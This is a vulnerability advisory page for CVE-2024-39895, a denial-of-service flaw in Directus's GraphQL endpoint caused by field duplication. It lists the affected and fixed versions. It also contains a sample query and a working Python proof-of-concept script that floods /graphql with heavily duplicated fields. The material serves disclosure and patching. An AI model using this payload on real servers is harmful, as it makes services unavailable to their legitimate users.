CVE-2024-39895: Directus GraphQL Field Duplication Denial of Service (DoS)

Published Jul 8, 2024
·
Updated

Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.

Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard: !image

!DoS5

By modifying the data sent and duplicating many times the fields a DoS attack is possible.

PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. {'query': 'query { query4f4722ea: testtableaggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}

Although that payload seems harmless, a bigger one leaves the service unresponsive.

The following code might serve as a PoC written in Python3: # Field Duplication DoS GitHub @asantof

import requests

CHANGE THIS VALUES: url, authtoken, queryname, collectionname url = 'http://0.0.0.0:8055/graphql' authtoken = '' queryname = 'queryXXXXX' collectionname = ''

headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {authtoken}', }

idpayload = 'id ' 200 maxpayload = 'max {' + idpayload + ' } ' fullpayload = maxpayload 200

data = { 'query': 'query { ' + queryname + ': ' + collectionname + 'aggregated { ' + fullpayload + ' } }' }

print(data)

response = requests.post(url, headers=headers, json=data)

print(response.json())

!DoS4

After running it the service will be unresponsive for a while: !DoS

Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.

Other sources

Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/@directus/env<1.1.6
1.1.6
Monospace Directus Node.js<10.12.0

Event History

Jul 8, 2024
CVE Published
via MITRE·04:47 PM
Data Sourced
via MITRE·04:47 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:41 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-39895?

The severity of CVE-2024-39895 is classified as high due to its potential to cause denial of service (DoS) through field duplication in GraphQL queries.

2

How do I fix CVE-2024-39895?

To fix CVE-2024-39895, upgrade to @directus/env version 1.1.6 or a later version that addresses the vulnerability.

3

What kind of attack does CVE-2024-39895 involve?

CVE-2024-39895 involves a denial of service (DoS) attack by exploiting field duplication in GraphQL queries.

4

What software is affected by CVE-2024-39895?

CVE-2024-39895 affects the @directus/env package and versions of Directus prior to 10.12.0.

5

How can CVE-2024-39895 impact my application?

CVE-2024-39895 can severely impact your application by overwhelming the server, potentially making it unresponsive due to excessive resource usage.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203